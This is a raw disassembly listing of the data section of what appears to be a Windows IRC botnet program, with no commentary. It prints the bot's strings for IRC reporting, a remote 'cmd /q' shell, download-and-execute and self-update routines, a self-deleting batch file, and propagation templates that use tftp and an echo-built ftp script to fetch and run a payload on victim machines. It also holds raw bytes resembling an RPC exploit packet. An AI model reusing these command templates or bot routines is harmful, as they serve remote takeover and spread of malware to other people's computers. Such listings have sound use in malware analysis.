aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40E18A+ADo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40E18A+F7o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40E18A+12Bo
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40E18A+147o
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40E18A+1C0o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
a__		db '..',0               ; DATA XREF: sub_40E18A+232o
		align 4
a__0:					; DATA XREF: sub_40E18A+24Do
		unicode	0, <.>,0
aPm_0		db 'PM',0               ; DATA XREF: sub_40E18A+285o
		align 10h
aAm		db 'AM',0               ; DATA XREF: sub_40E18A+290o
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40E18A+2BAo
aS_22		db '<%s>',0             ; DATA XREF: sub_40E18A+2E4o
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40E18A+30Eo
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40E18A+330o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aSS_2		db '%s%s/',0            ; DATA XREF: sub_40E18A+374o
		align 10h
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40E18A+3BBo
		align 10h
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40E18A:loc_40E54Co
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40E18A+401o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aS_23		db '<%s>',0             ; DATA XREF: sub_40E18A+413o
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40E18A+434o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40E18A+471o
		align 10h
aTrTdWidthDAH_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40E18A+486o
		db '<TD WIDTH="%d"><A HREF="',0
		align 10h
aSS_3		db '%s%s',0             ; DATA XREF: sub_40E18A+4CAo
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40E18A+511o
		align 4
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40E18A:loc_40E6A2o
		align 10h
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40E18A+561o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40E18A+589o
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40E18A+618o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40E18A+633o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40E18A+64Eo
		align 4
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_40E8F7+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_44121C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:0040EAD3o
aClientConnecti	db '- client connection from %s:%d.',0
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:0040EB2Bo
dword_441260	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:0040EB86o
aServerFailed_0	db '- server failed, returned %d',0
		align 4
dword_44128C	dd 234032Dh, 69646572h,	74636572h, 202D0302h, 65696C43h
					; DATA XREF: ___:0040ECACo
		dd 6320746Eh, 656E6E6Fh, 6F697463h, 7266206Eh, 49206D6Fh
		dd 25203A50h, 64253A73h, 6553202Ch, 72657672h, 72687420h
		dd 3A646165h, 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_22	db 'Failed to start client thread, error: <%d>.',0
unk_441310	db  2Dh	; -		; DATA XREF: ___:0040EE35o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_0	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_441354	db  2Dh	; -		; DATA XREF: ___:0040EEFEo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_23	db 'Failed to start connection thread, error: <%d>.',0
unk_441394	db  2Dh	; -		; DATA XREF: ___:0040F0B9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 10h
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:0040F14Ao
		align 4
unk_4413D4	db  2Dh	; -		; DATA XREF: ___:0040F17Ao
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
unk_4413FC	db  2Dh	; -		; DATA XREF: ___:0040F19Ao
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 4
unk_441428	db  2Dh	; -		; DATA XREF: ___:0040F1C1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_441454	db  2Dh	; -		; DATA XREF: sub_40F1DD:loc_40F222o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 10h
dword_441480	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_40F237+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 5357203Ah, 61745341h, 70757472h, 203A2928h, 3E64253Ch
		dd 2Eh,	234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h
		dd 6820432Dh, 6C646E61h, 202C7265h, 6F727265h, 3C203A72h
		dd 2E3E6425h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aReadyAndWaitin	db '- Ready and waiting for incoming connections.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aClientConnec_1	db '- Client connection from IP: %s:%d, Server thread: %d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_24	db '- Failed to start client thread, error: <%d>.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorServerFai	db '- Error: server failed, returned: <%d>.',0
		align 4
unk_441654	db  2Dh	; -		; DATA XREF: sub_40F4EE+59o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_44169C	db  2Dh	; -		; DATA XREF: sub_40F4EE+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_4416E4	db  2Dh	; -		; DATA XREF: sub_40F4EE+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_441718	db  2Dh	; -		; DATA XREF: sub_40F63F+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_441758	db  2Dh	; -		; DATA XREF: sub_40F63F+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_2	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_441798	db  2Dh	; -		; DATA XREF: sub_40F63F+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_40F738+8Co
		align 4
unk_4417C8	db  2Dh	; -		; DATA XREF: sub_40F738+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 10h
dword_441800	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_40F811+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6553202Dh, 72657672h
		dd 61747320h, 64657472h, 3A6E6F20h, 3A732520h, 2E6425h
		dd 234032Dh, 6B636F73h,	3023473h, 6C43202Dh, 746E6569h
		dd 6E6F6320h, 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h
		dd 3A732520h, 202C6425h, 76726553h, 74207265h, 61657268h
		dd 25203A64h, 2E64h, 234032Dh, 6B636F73h, 3023473h, 6146202Dh
		dd 64656C69h, 206F7420h, 72617473h, 6C632074h, 746E6569h
		dd 72687420h, 2C646165h, 72726520h, 203A726Fh, 3E64253Ch
		dd 2Eh,	234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h, 7541202Dh, 6E656874h
		dd 61636974h, 6E6F6974h, 69616620h, 2E64656Ch, 6D655220h
		dd 2065746Fh, 72657375h, 203A6469h, 21207325h, 7325203Dh
		dd 2Eh,	234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 6F206F74h, 206E6570h, 6B636F73h
		dd 29287465h, 6572202Ch, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
		dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 6574636Fh, 74h, 70746674h, 72452064h
		dd 3A726F72h, 636F7320h, 2874656Bh, 61662029h, 64656C69h
		dd 6572202Ch, 6E727574h, 203A6465h, 3E64253Ch, 2Eh, 6272h
		dd 7466742Dh, 202D6470h, 6C696146h, 74206465h, 706F206Fh
		dd 66206E65h, 3A656C69h, 2E732520h, 0
aTftpdSendingDa	db '-tftpd- sending data packets to %s',0
		align 10h
aTftpdFileSentT	db '-tftpd- file sent to %s',0
		dd 4000500h, 7868746Bh,	0
dword_441A84	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_4104DF+10o
dword_441A98	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_4104DF+35o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_410557+60o
		align 10h
dword_441AD0	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: ___:00410613o
dword_441ADC	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_410694+20o
dword_441AF0	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_410694:loc_4106C9o
dword_441B04	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:00410746o
		dd 676E6974h, 0
dword_441B20	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:004107E3o
		dd 6574656Ch, 0
		dd 234032Dh, 2636364h, 66202D03h, 656C6961h, 6F742064h
		dd 65706F20h, 6F73206Eh, 74656B63h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 10h
		dw 0Ah
		unicode	0, <>,0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
unk_441BC8	db  2Dh	; -		; DATA XREF: ___:00410AC1o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_3	db '- failed to create socket',0
		align 4
unk_441BEC	db  2Dh	; -		; DATA XREF: ___:00410AFFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_441C10	db  2Dh	; -		; DATA XREF: ___:00410B7Ao
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 4
unk_441C34	db  2Dh	; -		; DATA XREF: ___:00410BA4o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
dword_441C54	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:00410BE7o
		dd 169h
dword_441C6C	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:00410C48o
		dd 74756Fh
unk_441C84	db  2Dh	; -		; DATA XREF: ___:00410C7Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_441CA8	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:00410DE8o
		dd 726F72h
dword_441CC0	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:00410DF9o
		dd 726F72h
unk_441CD8	db  2Dh	; -		; DATA XREF: ___:00410D77o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
aSS_9		db '%s%s',0             ; DATA XREF: ___:00410E76o
		align 4
unk_441D0C	db  2Dh	; -		; DATA XREF: ___:00410EA5o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: ___:00410EB9o
unk_441D40	db  2Dh	; -		; DATA XREF: ___:00410ECDo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
unk_441D6C	db  2Dh	; -		; DATA XREF: ___:00410EEDo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
dword_441D8C	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:00410F78o
		dd 726F72h
unk_441DA4	db  2Dh	; -		; DATA XREF: ___:00410FF1o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 10h
unk_441DD0	db  2Dh	; -		; DATA XREF: ___:004110D4o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 4
unk_441DF8	db  2Dh	; -		; DATA XREF: ___:004111E0o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 10h
unk_441E20	db  2Dh	; -		; DATA XREF: ___:004111F2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 4
unk_441E48	db  2Dh	; -		; DATA XREF: ___:00411235o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_441E74	db  2Dh	; -		; DATA XREF: ___:004112BFo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_441E9C	db  2Dh	; -		; DATA XREF: ___:0041133Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
aOpen_2		db 'open',0             ; DATA XREF: ___:00411393o
		align 4
dword_441EDC	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:004113B5o
		dd 25206465h, 73h
unk_441EF8	db  2Dh	; -		; DATA XREF: ___:00411426o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 4
unk_441F3C	db  2Dh	; -		; DATA XREF: ___:004114E2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 10h
unk_441F70	db  2Dh	; -		; DATA XREF: ___:004114F0o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
aUnknown	db 'Unknown',0          ; DATA XREF: sub_411605:loc_411648o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_411605:loc_411642o
aDisk		db 'Disk',0             ; DATA XREF: sub_411605:loc_41163Co
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_411605:loc_411636o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_411605:loc_411630o
		align 4
off_441FC4	dd offset word_4D4152	; DATA XREF: sub_411605:loc_41162Ao
dword_441FC8	dd 3Fh			; DATA XREF: sub_411605+1Fo
aFailed		db 'failed',0           ; DATA XREF: sub_411696+E0o
		align 4
aFailed_0	db 'failed',0           ; DATA XREF: sub_411696+F1o
		align 4
aFailed_1	db 'failed',0           ; DATA XREF: sub_411696+102o
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_411696+70o
		align 4
aSkb_0		db '%sKB',0             ; DATA XREF: sub_411696+9Bo
		align 4
aSkb_1		db '%sKB',0             ; DATA XREF: sub_411696+C6o
		align 4
aFailed_2	db 'failed',0           ; DATA XREF: sub_4117BA+3Bo
		align 4
unk_442004	db  2Dh	; -		; DATA XREF: sub_4117BA+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
unk_442040	db  2Dh	; -		; DATA XREF: sub_4117BA+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
off_44207C	dd offset byte_5C3A41	; DATA XREF: sub_41188C:loc_4118D1o
dword_442080	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_411949+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4420CC	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_411949+E3o
; ---------------------------------------------------------------------------


loc_4420E8:				; DATA XREF: sub_411949+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_4420FC	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_411949+13Fo
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_411D15+72o
		align 4
aMirc_2		db 'mIRC',0             ; DATA XREF: sub_411DDA+5o
		align 4
aMirc_3		db 'mIRC',0             ; DATA XREF: sub_411DDA+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_411E5F+1Co
		align 4
aSS_4		db '%s %s',0            ; DATA XREF: ___:00411F45o
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_411F81+2o
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_411FA3+48o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_411FA3+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_411FA3+140o
		align 4
dword_4421C8	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_41212B+5Co
		dd 65726165h, 64h
unk_4421E4	db  2Dh	; -		; DATA XREF: sub_41212B+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
unk_44220C	db  2Dh	; -		; DATA XREF: sub_41212B+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
aTftpISGetSS	db 'tftp -i %s get %s &%s',0Dh,0Ah,0 ; DATA XREF: sub_4121EE+9Do
aEchoOpenSDOE_1	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_4121EE+C6o
		db 'it >> o &ftp -n -s:o &%s',0Dh,0Ah,0
aNetapi32_dll_0	db 'netapi32.dll',0     ; DATA XREF: ___:00412376o
		align 10h
aNetmessagebu_0	db 'NetMessageBufferSend',0 ; DATA XREF: ___:00412383o
		align 4
off_4422D8	dd offset dword_44232C	; DATA XREF: sub_41243B+6Dr
					; sub_41281F+50r ...
off_4422DC	dd offset aAdded	; DATA XREF: sub_41243B+2Dr
					; sub_41281F+82r ...
					; "Added"
dword_4422E0	dd 0			; DATA XREF: sub_41243B+18r
		dd offset aDelete_1	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 442378h, 442380h,	2, 442388h, 442394h, 3
dword_44232C	dd 646441h		; DATA XREF: ___:off_4422D8o
aAdded		db 'Added',0            ; DATA XREF: ___:off_4422DCo
		align 4
aDelete_1	db 'Delete',0           ; DATA XREF: ___:004422E4o
		align 10h
aDeleted	db 'Deleted',0          ; DATA XREF: ___:004422E8o
aList_1		db 'List',0             ; DATA XREF: ___:004422F0o
		align 10h
aListed		db 'Listed',0           ; DATA XREF: ___:004422F4o
		align 4
aStart_0	db 'Start',0            ; DATA XREF: ___:004422FCo
		align 10h
aStarted	db 'Started',0          ; DATA XREF: ___:00442300o
aStop_0		db 'Stop',0             ; DATA XREF: ___:00442308o
		align 10h
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:0044230Co
aPause_0	db 'Pause',0
		align 10h
aPaused		db 'Paused',0
		align 4
aContinue_0	db 'Continue',0
		align 4
aContinued	db 'Continued',0
		align 10h
unk_4423A0	db  2Dh	; -		; DATA XREF: sub_41243B+38o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
unk_4423BC	db  2Dh	; -		; DATA XREF: sub_41243B+55o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
unk_4423E8	db  2Dh	; -		; DATA XREF: sub_41243B+74o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_412564:loc_41263Do
		align 4
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_412564:loc_4125BEo
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_412564+3Co
		align 10h
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_412564:loc_4125B4o
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_412564:loc_4125C8o
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_412564:loc_412612o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_412564+8Fo
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_412564:loc_412644o
		db 'marked for deletion.',0
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_412564:loc_41264Bo
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_412564:loc_412652o
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_412564:loc_412659o
		align 10h
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_412564:loc_412660o
		db ' correct access rights.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
